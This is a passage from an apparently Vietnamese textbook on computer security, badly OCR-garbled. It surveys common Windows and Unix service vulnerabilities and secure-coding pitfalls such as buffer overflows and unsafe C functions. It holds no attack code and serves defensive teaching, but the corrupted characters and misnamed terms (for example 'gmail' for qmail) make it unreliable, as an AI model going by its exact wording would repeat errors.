ndy. Mot ké tdn cong hoan toan cé thé truy nhap dén tai nguyén sin c6 cua
ngudi do va ¢6 thé truc ti€p khong cho phép céc tai khoan khdc c6 thé truy nhap
dén. Bat chap su nguy hiém nay, céc tai khodn c¢6 mat khiu trong hoic khong tot
van con vo cling phd bién va cdc t6 chic vé6i cac chinh sich mat khau t6t van con
ty 1¢ khd nho.
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Bit cit hé diéu hanh hoac tng dung nao ma nguoi dung duogc xac thuc bang
UserID va password déu gap diém yéu dé tdn cong nay

2.1.8 Internet Explorer

Microsoft Internet Explorer la trinh duyét web mac dinh dugc cai dit trong
cdc hé diéu hanh Microsoft Windows. T4t ca cdc phién ban hién dang ton tai ctia
Internet Explorer déu c6 diém yéu rat nguy hiém. Mot ngudi quan tri web ac y
c6 thé thiét k€ cac trang web dé 10i dung di€ém yéu nay trén Internet Explorer clia
ngudi dung khi ho duyét trang web nay. Di€ém yéu nay c6 thé bi loi dung dé phoi
bay cac cookie, cac file hodc dir li¢u riéng, hodc thuc thi cadc chuong trinh riéng,
tai xuéng va thuc thi ma 1énh bat ky hoac ti€p quan hoan toan hé thong

Diém yéu nay ton tai trong tat ca cac hé thong Microsoft Windows chay bat
ky phién ban Microsoft Internet Explorer nao. Luu y mot diéu quan trong rang
IE dugc cai dat rong rii trong cdc phan mém ctia Microsoft va dién hinh trén tat
ca hé diéu hanh Windows, tham chi trén ca cdc server noi ma hi€ém khi trinh
duyét 1a can thiét

2.1.9 Truy cap dang ky tir xa (Remote Registry Access)

Microsoft Windows 9x, Windows CE, Windows NT, Windows 2000,

Windows ME va Windows diing co s& dit liéu ¢6 vi tri trung tam dé quéan 1y phan

mém, cau hinh thiét bi va thiét 1ap nguoi ding
Céc thiét 1ap an toan hoidc cdc quyén hop 1é c6 thé cho phép truy nhap diang
ky tir xa. K& tdn cong co thé loi dung dic diém nay 1am ton thuong hé thong
hoic thiét 1ap céc can cit dé chinh stra cdc quyén va cdc lién két file cho phép cac
ma ac y
TAt ca cac phién ban cua Microsoft Windows 9x, Windows CE, Windows
NT, Windows 2000, Windows ME va Windows XP déu chiu anh hudng cua
diém yéu nay
2.1.10 Windows Scripting Host
Pau nam 2000, sau mang “The Love Bug” (con duoc goi la
"ILOVEYOU") Visual Basic script (VBScript) da gy nguy hiém tiéu ton hang

triéu dola. Sdu mang nay, va mot s6 loai khac sau d6, da tan dung uvu di€ém

Windows Scripting Host (WSH) cho phép tat ca cac file van ban c6 phan md
rong “.vbs” dugc thuc thi nhu 12 mot kich ban ctia Visual Basic. V6i WSH da
duoc phép, sau mang dién hinh sinh san bang cach tinh ca VBScript 1a noi dung
cua file khdc va thuc thi khi file d6 dugc hién thi hodc dugc hién thi truée trong
mot soO truong hop.
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Windows Scripting Host c6 thé duoc cai dat binh thudong hoic véi Internet
Explorer 5 (hoac cao hon) trén Windows 95 hodc NT. N6 duogc cai dat mac dinh
trén may Windows98, ME, 2000 va XP.

2.2 Doi voi hé diéu hanh Unix
2.2.1 Cac 16i goi thu tuc tir xa (Remote Procedure Calls - RPC)
Loi goi thu tuc tir xa cho phép cac chuong trinh trén mot may tinh thuc thi

céc thu tuc trén mot may tinh khac bang cdach gti dit liéu di va nhan két qua vé.
Vi thé RPC duoc sir dung rong rai cho nhiéu dich vu mang phan b6 nhu quan tri
tir xa, chia sé file NFS va NIS. Tuy nhién c6 rat nhi€u sai sét trong RPC dé bi lgi
dung. Trong nhiéu trudong hop, cdc dich vu RPC thuc hién véi cdc dac quyén
root, két qua 1a cdc hé thong xuét hién céc dich vu RPC dé bi nguy hiém, c6 thé
cung cap cho ké tian cong vdi truy cap root tir xa khong xac thuc.

Gan nhu tat ca cac phién ban Unix va Linux cai dat cic dich vu RPC déu
bi 4nh huéng clia diém yéu nay

2.2.2 Apache Web Server

Nhitng nguoi quan tri Web thudng két luan rang do Internet Information

Server (IIS) kh4c thudng dé bi ton thuong nén nguén m& Apache Web Server 1a
hoan toan an toan. Trong khi so sanh véi IS, mac du Apache da xing déang vé6i
danh ti€ng an toan, né van khong ching to dugc 1a khong thé bi tan cong dudi su
xem x€t ky ludng.

Tuy nhién khong c6 web server nao c6 thé dugc coi 1a an toan cho dén khi
n6 duoc xem xét trong su tuong tic vGi cac tng dung web, nhat la cic chuong
trinh CGI va co s& dit liéu. Cau hinh ciing hod Apache van phai nhudng ché cho
céc truy cap khong xac thuc dén dit lieu néu CGI scripts khong tu kiém tra dugc
ching hoic cdc diéu khién truy nhap co s& dit lieu khong thiét 1ap mot cach ding
dan. CGI scripts thuc hién véi cdc quyén nhu clia web server, vi th€ CGI scripts
dugc viet kém hodc dc ¥ s€ nguy hiém nhu 12 cdc sai s6t phdn mém trong Apache

Gan nhu tat ca cdac hé diéu hanh Linux va rat nhiéu hé diéu hanh Unix déu
cai dat Apache va thudng cho phép mic dinh. Tat ca cac hé diéu hanh Unix déu
c6 kha nang chay Apache.

2.2.3 Secure Shell (SSH)

Shell an toan 12 dich vu phé bién cho viéc ding nhap an toan, thuc thi cc

lénh va truyén nhan file qua mang. Phan 16n cac hé diéu hanh tua Unix déu hoic
la stir dung cac g6i nguén md OpenSSH hodac 1a cac phién ban thuong mai tir SSH

Comunication Security. Mac du ssh an toan hon rat nhiéu telnet, fpt nhung nhiéu
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sai s6t da dugc tim thay trong khi thuc thi. Phan 16n 1a nhitng 16i nhd nhung mot
s0 1a vin dé an toan cht yéu da dugc sira ngay lap tic. Diéu nguy hiém nhat
trong viéc lgi dung cdc 16 hong nay 1a né cho phép mot ké tdn cong ¢ thé thu
duoc truy nhap root trén mot may tur xa

Bit k¥ hé diéu hanh Unix hodc Linux nao chay OpenSSH 3.3 hoac cii hon,
hoac SSH 3.0.0 hodc cii hon cuia SSH Communication Security déu chiu anh
hudng di€ém yé&u nay

2.2.4 Giao thic quan Iy mang don gian (Simple Network Management
Protocol -SNMP)

Giao thiic quan ly mang don gian (Simple Network Management Protocol

-SNMP) duoc str dung rong rai dé giam sat tir xa va cau hinh hiu nhu tit ca cic
loai thiét bi hién dai cho phép TCP/IP. SNMP thuong dugc sit dung la phuong
phap dé cau hinh va quan Iy céc thiét bi nhu 1a mdy in, router, chuyén mach va
cung cap dit liéu vao cho céac dich vu gidm sat mang.

Su truyén thong SNMP bao gbém cic loai thong bdo dugc trao doi khac
nhau gitra cac tram quan 1y SNMP va cac thi€t bi mang chay nhiing gi c6 lién
quan dén phan mém dai ly. Cach thitc ma céc thong bdo nay duoc str dung va cac
k¥ thuat xacthuc ding sau nhitng thong bdo st dung nay, ca hai déu c6 diém yéu
c6 thékhai thdc mot cdch ddng ké.

K¢ tin cong c6 thé st dung di€ém yéu trong SNMP dé cau hinh lai hodc tit
céac thiét bi tir xa. Giao thong SNMP bi xem thudng ¢ thé boc 10 s6 luong 16n
célu triic mang ciing nhu céc thiét bi va cac hé thong gan vao nd. Ké xam nhap st
dung céc thong tin nay dé chon lwa muc dich va lap k& hoach tin cong

2.2.5 Giao thiic truyeén file (File Transfer Protocol -FTP)

FPT deamon dugc dung dé phan phoi cac file dén ngudi ding nic danh

hoac duoc xac thuc (qua username va password). Dich vu FTP niac danh khong
yéu cdu mot mat khau duy nhat va tit ca ngudi dung c6 thé sir dung cling mot
tén dé dang nhap (“anonymous” hodac “fpt”) vi th€ cho phép moi ngudi co thé
truy nhap vao dich vu

Cac dich vu FTP dugc xac thuc yéu cau username va password nhung né
lai truyén di qua mang dudi dang rd nén cho phép nguoi thit ba nghe trom cic
trao doi uy quyén. D€ ddnh cip thong tin ding nhap FTP mot ké tdn cong cin
dat chuong trinh phat hién mang 6 mot noi nao dé doc theo duong két noi nhu la
trén FTP server LAN hoac client LAN

Nhiéu sai s6t nguy hi€ém da duoc tim thdy trong céc phién ban cua FPT.

Bing nhiéu ky cong di cho phép ké tin cong gianh duoc truy nhap root vao cic
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may chu FTP server trong khi nhiing user khac chi cho phép thuc thi cac 1énh
don gian & mic ngudi dung. Phan 16n cac tan cong trong truong hgp nay yéu cau
cho phép truy cap nac danh nhung thim chi do6i khi van xay ra doéi véi truong
hop tan cong nic danh bi tir choi, mién 1a FTP server van lang nghe trén céng
mang. Chud y ring mac du FTP server st dung 10i goi hé thong chroot() dé giam
ham cac céc user nac danh vao thu muc danh nghia nhung né van bi 1gi dung
nhd céc 16i chinh trong qua trinh thuc thi

Cac hé thong Unix va Linux chi v6i mot FTP server duoc cai dat va
thudng cho phép mic dinh da c6 thé bi khai thdc tir diém yéu nay

2.2.6 Dich vu R- Quan hé tin tudng (R-services — Trust Relationships)

Shell tr xa (rsh), copy tu xa (rcp), login tir xa (rlogin) va thuc thi tr xa
(rexec) la cac 1énh R (R-Commands) dugc sit dung rong rai trong thé€ gidi Unix.
Céc t6 chic v6i nhiéu mdy chi Unix sé thudng cau hinh cdc dich vu R (R-
services) tuong tng (in.rshd, in.rlogind, in.rexecd), day chinh la cdch ma céc
user ¢ thé chuyén tir mdy ndy sang mdy khac ma khong phai vao UserID va
password mot 1an nita. Tham chi trén mang, noi cac tai nguyén clia ngudi dung
duoc dua ra gom mot hé thong don gian, nguoi quan tri thuong phai chiu trach
nhiém vé6i hang ta tham chi hang tram hé thong, do d6 cau hinh R-services dé
dang cho viéc di chuyén tir mdy nay sang mdy khac. Mot ngudi ding binh
thuong c6 thé rsh, rcp, rcp va rexec tir may A vao may B ma khong can phai xac
thuc lai bang cdch dat lai tén va dia chi ciia mdy A vao file ~/. thosts clia ho trén
mdy B. Tat ca céac user co thé rsh,rcp, rlogin, rexec tir mady A vao miy B ma
khong cin xdc thuc lai néu tén va dia chi cla mdy A nam trong file
/etc/hosts.equiv trén may B.

R-services chiu thiét hai nhat tir hai thi€u so6t co ban nhat trong két noi
mang la thi€u su ma hod va su xac thuc mdy cht yéu. Qua trinh truyén tin giira
cac R-command clients dén R-services dudi dang rd cho phép dit liéu va cac
phim duoc 4n c6 thé bi chin lai. Thuc t€ 1a R-services dé dang chap nhan tén va
dia chi cua két noi client duoc phép, nén thong tin dé dang bi gia mao. Vi cac
quan hé tin twdng khong duoc thiét 1ap nén ngudi dung buoc phai gli mat khau
duéi dang 6 qua mang. Vi quan hé tin tudng, ké tdn cong cé thé gia danh la
mot ngudi dung hop 1€ trén mot may chti hop 1é va dung né dé dat duoc cic truy
cap dén tat ca cac may khac

2.2.7 Line Printer Daemon (LPD)

Berkeley line printer daemon (LPD) la dich vu ma cho phép nguoi dung

két n6i d€n mot may in cuc bo tir mot may tinh cuc bo hoac & xa theo giao thic
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TCP céng 515. LPD la céch phé bién nhat dé sir dung may in chi trong cac hé
thong Unix va Linux. Tuy nhién, nhi¢u LPD chita cac sai sét 1ap trinh dan dén
tran bo dém sau khi ké tan cong chay cidc ma tuy y véi dac quyén root

2.2.8 Gui thu (Sendmail)

Sendmail 12 chuong trinh giri, nhan, giri chuyén tiép phan 16n céc thu dién

tu dugc xu 1y trén cac may tinh Unix va Linux. Vé&i viéc Sendmail dugce sir dung
rong rai trén Internet nén né 1a muc tiéu cho nhiéu ké tan cong trong nhi€u nam
qua.

Cac rui ro gap phai doi v6i Sendmail thuong 1a hai dang chinh: su leo
thang diac quyén gay ra do tran bo dém va viéc cau hinh khong thich hop cho
phép mady tinh cua ban la mot ca (relay) cho cac thu dién tir tir cdc may khac

2.2.9 BIND/DNS

Cac goi Berkeley Internet Name Domain (BIND) la su thuc thi cta

Domain Name Service (DNS) duoc st dung rong rai nhat - hé thong cho phép
xac dinh vi trf cha server trén Internet (hodc mang cuc bo) bang cach str dung tén
(vi du www.yahoo.com) ma khong can phai biét ro dia chi IP cta ching. Su c6
mit & khip moi noi cua BIND da 1am cho né thuong xuyén 1a dich ctia cic cudc
tdn cong. Trong khi cdc nha phat trién BIND da co lich st stra cdc diém yéu rat
nhanh thi mot s6 luong bat thuong da 16i thoi hoidc cac server duoc cau hinh sai
van con va dang pho bay ra cho cac cudc tan cong.

C6 mot s6 nhan t6 dong gbp vao tinh trang nay. Nhan t6 cht yéu thudc vé
nhiing nguoi quan tri-nhitng nguoi da khong biét cac nang cip an toan, cac hé
thong chay BIND deamon (dugc goi 1a “named”) khong can thiét va cac file cau
hinh sai. Nhitng diéu nay c6 thé mang dén viéc tir ch6i dich vu, tran bo dém hoic
huy hoai DNS cache. Diém yéu ctia BIND dugc phat hién ra gan day nhat 1a tir
chéi dich vu. Trong trudng hop nay ké tdn cong c6 thé giii cdc géi DNS riéng bat
buoc ki€m tra tinh viing chic bén trong, chd dé bi tdn cong va s& 1am tat BIND
deamon. Mot ki€u khac 1a tdn cong tran bo dém trong dé ké tan cong tan dung
su thuc thi yéu cta cdc thu vién thiét bi giai DNS. Bang cdch gt cac ddp ung
DNS 4c y ké tdn cong c6 thé tham do diém yé&u nay va thuc thi cdc ma tuy y hoic
tham chi gay ra tur chdi dich vu

2.10 Su xdc thuc Unix néi chung- Céc tai khoan khong mat khau hodc mat

khau véu (General Windows Authentication -- Accounts with No Passwords or
Weak Passwords)
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D6i v6i hé diéu hanh Unix ciling ¢6 diém yéu trong viéc xdc thuc néi chung
va céc tai khoan khong mat khau hoac mat khiau yéu giong nhu doi véi hé diéu
hanh Microsoft Windows da trinh bay & trén

3. Phat hién va khic phuc cac 16 hong
3.1 Cdc 16 hong tir hé diéu hanh va cdc iing dung

Néu mot chuong trinh chida 16i va 16i dd xuét hién trong rat nhiéu truong
hop thi n6 sé gay cho ban mot s6 di€u phién phic. Thong thudng trong nhiing
truong hop d6 néu ban da ngan ngita duoc 16i thi 16i khong thanh van dé. Néu
muon ban c¢6 thé viét lai chuong trinh, khi d6 hiéu qua ngén ngira 16i s&€ cao hon.

Tuy nhién mot s6 chuong trinh lai nam trén ranh giGi an toan. Cac chuong
trinh nay 1ay thong tin vao tir caic chuong trinh khac ma khong cé cach truy nhap
giong véi ching

Ching ta c6 thé 1ay mot s6 vi du nhu: Trinh doc thu ctiia ban 14y thong tin
vao tr bat ky ngudi nao gui thu cho ban, va thong tin dé dugc dua dén man hinh
cta ban. Ngan xép TCP/IP (TCP/IP stacks) ctia bat ky mdy tinh nao két noi
Internet cling 1ay thong tin tr mdt nguoi nao do6 trén Internet, va thuong da truy
nhap dén moi thi trén may tinh cua ho, di€u ma phan 16n moi nguoi trén Internet
chic chan khong biét.

Bat ky chuong trinh nao thuc hién diéu nay déu phai hét sitc can than. Néu
chuong trinh chita mot s6 161, n6 ¢6 thé ¢6 kha nang cho phép mot ngudi nao do-
nhiing nguoi khong duoc tin tuéng- thuc hién mot s6 di€éu ma ho khong duoc
phép 1am. Mot 16i ¢6 tinh chat nhu vay duoc goi 1a 16 hong (hole) hay chinh xac
hon 1a diém yéu dé bi tan cong (vulnerability)

Duéi day ta s&€ xem xét mot s6 trudng hop céc 16 héng xuat hién do ban
than cdc chuong trinh chifa 16i va mot s6 diém céan chi y dé han ché su xuat hién
cuia céc 16 hong khi xay dung cac chuong trinh

C4c gidi phap vé mit tam 1V (Psychological problems)

Khi ban viét cdc phan thong thuong ctia mot phan mém, muc dich ctia né
1a giai quyét mot van dé nao d6 c6 thé thuc hién duge néu nhu ngudi diung thuc
hién diéu d6 mot cach ding dan. Tuy nhién khi xay dung nhitng phan lién quan
dén van d€ an toan cta phan mém ban ciling phai giai quyét nhiing van dé nao dé
khong thé thuc hién duoc(impossible), bat ké nhitng gi ma bt ctt ngudi dung nao
khong duoc tin tudng thuc hién. Di€u nay c¢6 nghia 1a mot phan nao d6 trong
chuong trinh clia ban phai thuc hién chitc nang diing dan trong nhiéu trudng hop
khac nhau. Diéu quan trong d6i v6i nhitng nguoi xay dung chuong trinh 1a phai
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dat ra tat ca cdc kha ning, ké ca nhitng kha nang khong thé thuc hién dugc. Don
clr mot van dé don gian nhu mot chuong trinh thuc hién phép chia hai s6 cho
nhau, néu ngudi dung dua vao hai s6 khac khong, chuong trinh s€ thuc hién binh
thuong nhung néu ngudi dung dua vao s6 chia 1a s6 0, diéu nay 1a khong thé thuc
hién duoc, do d6 nguoi vi€t chuong trinh phai dat ra ca truong hop nay va cé
bién phdp khic phuc nhu thong bdo 16i chang han.

Nhitng nha thdm ma va nhitng 1ap trinh vién thoi gian thuc (real-time
programmers) kha quen thudc véi viéc thuc hién nhitng diéu gi d6 theo cach nay.
Con phan 16n nhitng nguoi 1ap trinh vién khéac thi khong, ho c6 théi quen 1a cac
phan mém lam viéc binh thuong va diéu nay c6 xu hudng tao ra cic phadn mém
khong an toan.

Cic 16 hong do thay déi vai trd (Change of role hole)

Rat nhiéu 16 hong xudt phat tlr viéc chay cdc chuong trinh trong cdc moi
truong khac nhau.

Vi du, gia st ban c6 trinh bién dich PostScript cho phép ban xem tai liéu
trude khi in. N6 khong ¢6 vai tro anh hudng dén su an toan. Nhung gia st ban
bat dau st dung né dé xem cdc tai liéu ctia nguoi khdc, ngudi ma ban khong biét,
tham chi nhitng nguoi khong dang tin cay. Bat chot, su ¢c6 mat cua cac chuong
trinh diéu khién truy nhap file cta PostScript trd thainh mot moi de doa. Mot
ngudi nao dé co thé glri cho ban tai liéu ma s& xo4 tat ca cac file clia ban hoic
cét ddu ban copy cdc file cuia ban & noi nao d6 ma ho c¢6 thé nhan duge ching

Day 12 nguén goc cua cdc diém yéu trong phan 16n cac TCP/IP stacks cua
Unix- hé diéu hanh duoc phét trién trén mang, noi ma vé co ban moi ngudi trén
mang dugc tin tudng, trong khi ngay nay ching duoc trién khai trén mang, noi
ma c6 rat nhiéu nguoi khong dugc tin tudng.

O muc tinh vi hon, mot s6 ham s& an toan tuyét doi khi khong vuot qua
ranh gidi tin tudng, nhung néu ching vuot qua ranh gidi d6 c6 thé gay ra nhing
tai hoa. Ham gets() 12 mot vi du dién hinh. Néu ching ta sit dung ham gets()
trong truong hop ta diéu khién dit liéu ddu vao thi ta chi cin cung cap ving dém
(buffer) 16n hon dit liéu mong mudn nhan vao va chiing ta hoan toan yén tam.
Néu ching ta tinh co phd v& chuong trinh do dua vao qua nhiéu dit liéu, khi dé
hoic 1a chuong trinh s& bdo 16i “don’t do that” hodc 12 ta ¢6 thé md rong viing
dém va bién dich lai chuong trinh.

Nhung khi dit liéu dén tir nhitng ngudn khong dugc tin tudng, gets() co thé
tran bo dém dan dén chuong trinh thuc hién nhitng diéu tAm thudong. Phan 16n su
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dé v 1a két qua thudng thay, nhung ching ta cling phai can than véi nhitng dit

lieu muu meo c6 thé 1am cho chuong trinh thuc hién né nhu 1 cdc ma thuc thi.

Cac 16 hdng tran bo dém

Tran bd dém thuong xuat hién trong mot so truong hop
Khi doc dit liéu vao truc ti€p vao ving dém
Khi copy dit liéu vao tir ving dém 16n sang vung nho hon
Khi thuc hién xtr 1y dit liéu vao khac trén ving dém cua xau
Tuy nhién, néu dit liéu vao la hoan toan tin tuéng thi né khong phai 1a 16

héng bao mat, n6 chi gy ra mot so phién phic.

Trong phén 16n cac moi truong Unix, khi mang 1a bién dia phuong ciia mot s6

ham, duong nhu 1a sau d6 sé tra vé dia chi & mot noi nao dé trén ngan xép. Pay

c6 thé 1a 16 hong phd bién nhat bi khai thac. Hang nghin 16 hong ki€u nay da

dugc tim thay trong nhitng nam qua.

Tham chi doi khi bo dém & nhitng noi khic ciing c6 thé bi tran tao ra cdc 16

héng bdo mat riéng biét néu ching gan véi con trd ham hoic thong tin déng tin

cay. Vi th€ dé phat hién 16 hdng doi vé6i trudng hop nay hiy tim ki€ém

Cac ham nguy hi€ém khong kiém tra giGi han: strcpy, strlen, strcat, sprintf,
gets.

Céc ham nguy hiém c6 kiém tra gi6i han: strncpy, snprintf- mot s6 ham nay
sé khong chu y t6i viec viét théem NULL vao cudi xau, diéu nay cé thé dan
dén sau d6 khi copy két qua, ké ca véi dir liéu khdc- dit liéu c6 lién quan- va
c6 thé s& gay do vd chuong trinh

Viéc lam dung ham strncat, diéu nay din dén viéc khong thé ghi mot byte
null vao cudi mang

Su d6 v& cac chuong trinh dé 4nh hudng dén van dé an toan-bat ky su do vo
nao ciing bat ngudn tr 16i con trd va ¢6 1€ phan 16n 16i con trd 1a do tran bo
dém

Thir cung cap cho cédc chuong trinh nhay cam vé mit an toan cac di liéu 16n -
6 bi€n moi truong (né€u bi€n moi truong khong duge tin tudng)- & cac tham so
dong 1énh (né€u tham s6 dong lénh khong duoc tin tudng)-trong cac file khong
dugc tin tuong khi chuong trinh doc chiing, trén su két ndi mang khong duoc
tin tuéng. Néu chuong trinh chia dit liéu vao thanh nhi€u phan, hay thi thuc
hién véi phan dit liéu 16n va xem ching c6 d6 v& hay khong, néu c6 thi tai vi
tri chuong trinh d6 v& sé giong nhu mot phan dit liéu vao
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- Kiém tra gi6i han khong ding: Néu viéc kiém tra gidi han phai trai qua hang
tram dong ma, thay vi hai hodc ba vi trf trung tm, s&€ c¢6 nhiéu co hoi hon dé
phét hién ra nhiing cho sai.

Su uy quyén nham 1an (Confused deputies)

Khi ban dua ra tén mot file cho chuong trinh thong thuong ma, chuong
trinh s€ yéu cau hé diéu hanh md file. Vi chuong trinh dang chay véi dac
quyén ctia ban nén néu ban cho rang c6 thé khong mé dugc file, hé diéu hanh
s€ tir choi. Diéu nay khong thanh van dé

Nhung néu ban dua ra mot tén file cho chuong trinh anh hudéng dén su an
toan (nhu CGI script, chuong trinh setuid, setgid, hay mot s6 network server),
chuong trinh khong can thiét tra 10i trén kién tric hé di€u hanh- trong ché do
bao vé tu dong.

Phén 16n cdc chuong trinh nay thuc hién mot s6 phép ki€ém tra doi véi dit
liéu ma ching nhan dugc. Ching thuong roi vao mot so bay

- Céac chuong trinh kiém tra dit liéu bang cdch phan tich tén file nhung ching
thuc hién viéc phan tich tén file khac v6i hé diéu hanh. Diéu nay 1a mot van
dé doi véi phan 16n Microsoft OS web servers. Hé di€u hanh thuc hién viéc
phan tich kha phiic tap d6i véi tén file dé tinh toéan file ndo né tham chiéu that
su. Web server xem xét tén file dé xac dinh loai truy cap ban c6 doi vdi file,
thong thuong ban cé truy cap thuc thi mot file riéng biét (dua trén su phan
tich tén file) nhung khong c¢6 quyén doc chiing. Néu quyén truy nhap maic
dinh cho phép ban doc mot file thi viéc thay déi tén file vi thé s&€ dan dén web
server cho rang d6 1a mot loai file khac nhung hé diéu hanh phan tich tén file
chi ra file cuing loai, s& cho ban c6 kha nang doc file.

- Mot s6 chuong trinh kiém tra tat ca dit liéu nhan duoc ké ca nhitng dit liéu
kha thong thuong.

- Mot s6 chuong trinh kiém tra dit liéu hoac 12 phiic tap quéa hodc don gian qua
déu c6 thé chita cac 16 hong. Vi du nhu rit nhiéu web server Unix cii cho
phép ban download bat ky file nao trong thu muc cong khai html
(public_html) ctia bat ky nguoi nao (trir khi hé di€u hanh ngan can) nhung
néu ban thuc hién mot lién két dong thoi hoiac mot lién két cing véi nhiing
file rieng cia mot ngudi nao do, ban c¢6 thé download ching néu web server
chip nhan viéc nay.

Lo6i m& hoac déng (fail —open or - closed)

Phan 16n cdc hé thong nhay cam vé€ an toan khong thuc hién ding trong
mot so truong hop. Chiing thuong gap 16i trong 2 trudng hop sau:
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- Cho phép truy cap trong khi khong can cho phép truy nhap. Diéu nay duogc
goi 1a 16i m& (fail-open)

- Tu chéi truy cap trong khi khong can tir chdi truy nhap. Di€u nay duge goi la
161 déng (fail-closed)

Vi du véi khod cira dién tir, ctira dugc khod bang cédch giit né & trang thai
déng v6i mot nam cham dién rat 16n, khi mat dién khoa cilra dién tir s& gap 16i
m& boi khi d6 ctra dugc méd mot cach dé dang. Nguoc lai trong trudng hop ctra
dugc khod bang chot 10 xo va s& bat ra khi ¢6 dong dién chay qua sé€ gap 16i
dong khi mat nguén dién boi khi d6 khong ¢6 cdch ndo dé€ mé duge cira.

Thi€u tai nguyén (Resource starvation)

R4t nhiéu chuong trinh duogc viét ra thira nhan rang c6 du tai nguyén sin
c6. Tham chi nhi€u chuong trinh dugc viét ra con khong dat ra cac kha nang sé€
xay ra néu khong du tai nguyén san co
- Diéu gi sé xay ra néu khong di bo nhG hoac mot vai dinh vi bi 16i, thuong

trong trudng hop nay sé tra vé NULL d6i vé6i cdc ham malloc hoidc new (dung
dé cap phat viing nhé)
- Diéu gi s€ xay ra néu chuong trinh chay ngoai cdc dac ta file (fds-file
descriptors) - viéc ma file ding ham open() sé tra vé gia tri —1
- Diéu gi s& xay ra néu mot chuong trinh khong thé fork() hodc néu tién trinh
con bi chét trong khi dang khdi tao vi thi€u tai nguyén
Tin tudng nhiing nguén khong dang tin cay (Trusting untrustworthy

channels)

Néu ban glti mat khau du6i dang rd qua Ethernet LAN ma c6 mot ngudi

khong tin tudng & d6, néu ban tao ra mot file tit ca déu c6 thé ghi va sau do co
gang doc lai dir liéu tir file d6, néu ban tao mot file trong /tmp v6i doi sO
O_TRUNC (x6a ndi dung file néu né ton tai) nhung khong c6 O_EXCL (néu
dung chung véi O_CREAT s& thong bdo 16i khi file m& da ton tai) ... khi d6 ban
dang tin tudng vao mot thanh phan trung gian khong dang tin tudng. Gia sit mot
ké tin cong c6 thé pha vd mot kénh khong dang tin cdy, ching c6 thé tir chdi cac
dich vu ban yéu cau bing cach thay déi dit liéu trén kénh, chiing c6 thé thay doi
dit liéu ma ban khong chd y va tham chi néu chiing khong thé thuc hién duogc
nhiing diéu nay thi ching ciing c6 thé doc di liéu.
Ranh giéi 16n (Big interfaces)

Ranh gidi an toan nho ¢6 kha nang an toan hon cac ranh gidi an toan 16n.
Vi vay network servers c6 khuynh huéng an toan hon nhi€u cic chuong trinh

setuid. Cac chuong trinh setuid nhan tat ca cdc ki€u dit liéu tir cac nguén khong
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dang tin cay- cac bién moi truong, cac dac ta file, cac ban do bo nhé ao, cac doi
s6 dong 1énh, va c6 thé ca dir liéu vao 1a file. Trong khi d6 network servers chi
nhan dit liéu vao 12 network-socket (va c6 thé dit lieu vao 1a file)

gmail 12 moét vi du vé ranh gidi an toan nho. Chi mot phan clia qmail thi
hanh nhu “root”. Phan con lai hoac thi hanh nhu cac ngudi dung gmail dac biét
hodc nhu ngudi nhan gmail

Bén trong gmail, viéc kiém tra tran bo dém tap trung vao hai chic ning
nho va tit ca cac chic nang thudng dugc ding dé thay déi cdc xau sit dung cac
chitc nang nay dé kiém tra.

Cac muc an toan (Security compartments)

Bat ky mot hé thong an toan nao ciing duoc chia thanh cac mic an toan.
Vi du nhu hé thong Linux ¢c6 mot s6 mic an toan dugc biét dén nhu mic nguoi
dung (users), mic nhan (kernel), mic mang (network), mic nay dugc chia thanh
cac muc con la cac két n6i mang (network connections). C6 mot vai méi quan hé
tin tudng dugc dinh nghia gitta caic muc khac nhau nay dua trén su cai dat va xac
thuc hé thong.

Cac quan hé tin tudng phai cé hiéu luc & bt ky ranh gidi nao gitta cac
miic an toan. Khi ban dang chay mot thu vién thiét bi dau cudi, ban c¢6 thé mudn
thié€t bi dau cudi chi ¢6 cac truy nhap dén thu vién co s& di liéu va ban mudn
ching tir choi cac truy nhap dén cac shell Unix néi chung.

& Nhu vay dé tranh cac 16 héng xuit hién do ban than cdc chuong trinh
thi nguoi 1ap trinh phai dat ra tit ca cac kha nang, xem xét va giai quyét tit ca
cac kha nang d6, déng thoi phai chd y dén nhitng truong hop dé gay ra 16 hong
nhu da dé cap dén o trén.

3.2 Vin dé doi voi nguoi su dung

Ngoai nguyén nhan do hé diéu hanh va tng dung chita cdc 16i gay ra céc
16 héng bao mat nhu da dé cap & trén, cdc 16i hong bao mat con xuat hién do cac
nguyén nhan sau
- Mang va may chu bi cdu hinh sai
- Nha cung cép thiéu trach nhiém.
- Thiéu nhitng ca nhan c6 trinh do

Cau hinh sai may chu:

Day 12 nguyén nhan tao ra phan 16n céc 16 hong bao mat. R4t nhiéu ngudi khi
quan tri khong nhan biét dugc cac dich vu dang chay trén may chu cua ho. Su
thay d6i nhanh chéng ctia cong nghé lam cho chi mot s6 it ngudi c6 thé theo kip.
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Va nhu thé cdc mdy tinh ndi mang hién nhién dang doi mat v6i nguy co bi xam
nhép. Khi nhitng hé théng nay st dung cac gia tri mac dinh hoac bi cau hinh sai
s€ 1a co hoi tot dé ké xau xam nhap.

Nhiing nha cung cap thiéu trach nhiém:

R4t nhiéu nha cung cdp khong quan tam dén di€u gi xay ra trong chuong
trinh ctia ho. Viéc dam bdo chat luong tuan thu cic chudn trong nganh cong
nghiép phan mém. DE tiét kiém chi phi thi ngudi ta thuong khong ap dung nhing
tiéu chudn vé qui trinh san xuat. Sy thi€u trach nhiém ctia nha cung cap dan dén
hau qua 1a cac hé thng mang va mdy tinh thi€u an toan cho ngudi dung, tao di€u
kién thuan lgi cho Virus va hacker phat trién.

Trudng hop céc ban stra 16i bi cham tré ciing c6 thé 1am nguy hai dén cong
tdc bao mat. Cdc khdm pha 16 hong hoat dong vdi t6c do rat nhanh. Cac hacker
chia xé v6i nhau nhiing thong tin méi nhat thong qua cac mail list hay cdc dién
dan hacker, trong khi d6 v6i su cham chap cta nha cung cdp cac hé thong da bi
xam nhap va ph4 hoai trong thoi gian cuc ngan.

Thi€u nguoi cé trinh do:

Néu nhu tat ca cdc van dé 6 trén déu dugc giai quyét thi nguoi dung lai vap
phai mot van dé khac 1a thi€u nhitng nguoi tu van c6 trinh do cao. Viéc thi€u
nhan su lam cho cac chuong trinh vé bao mat trong doanh nghiép bi xao lang
hoac di nham duong. Khong cé cac chinh sach bao mat hoac néu cé thi khong
dugc hoan chinh. Chinh diéu d6 1am cho hé théng cua ching ta bi ton thuong
trudc cac cudc tan cong.

Vi vay moéi nguoi dung phai tu y thic dugc viéc bdo dam an toan cho hé
thong mdy tinh ctia minh khi két noi Internet nham han ché céc rti ro c6 thé xay
ra trudc su tin cong tir bén ngodi. DE cai thién tinh trang an ninh cho may tinh
ctia minh moi nguoi st dung can thuc hién mot s6 bién phap sau day:

Hé diéu hanh (Operating system)

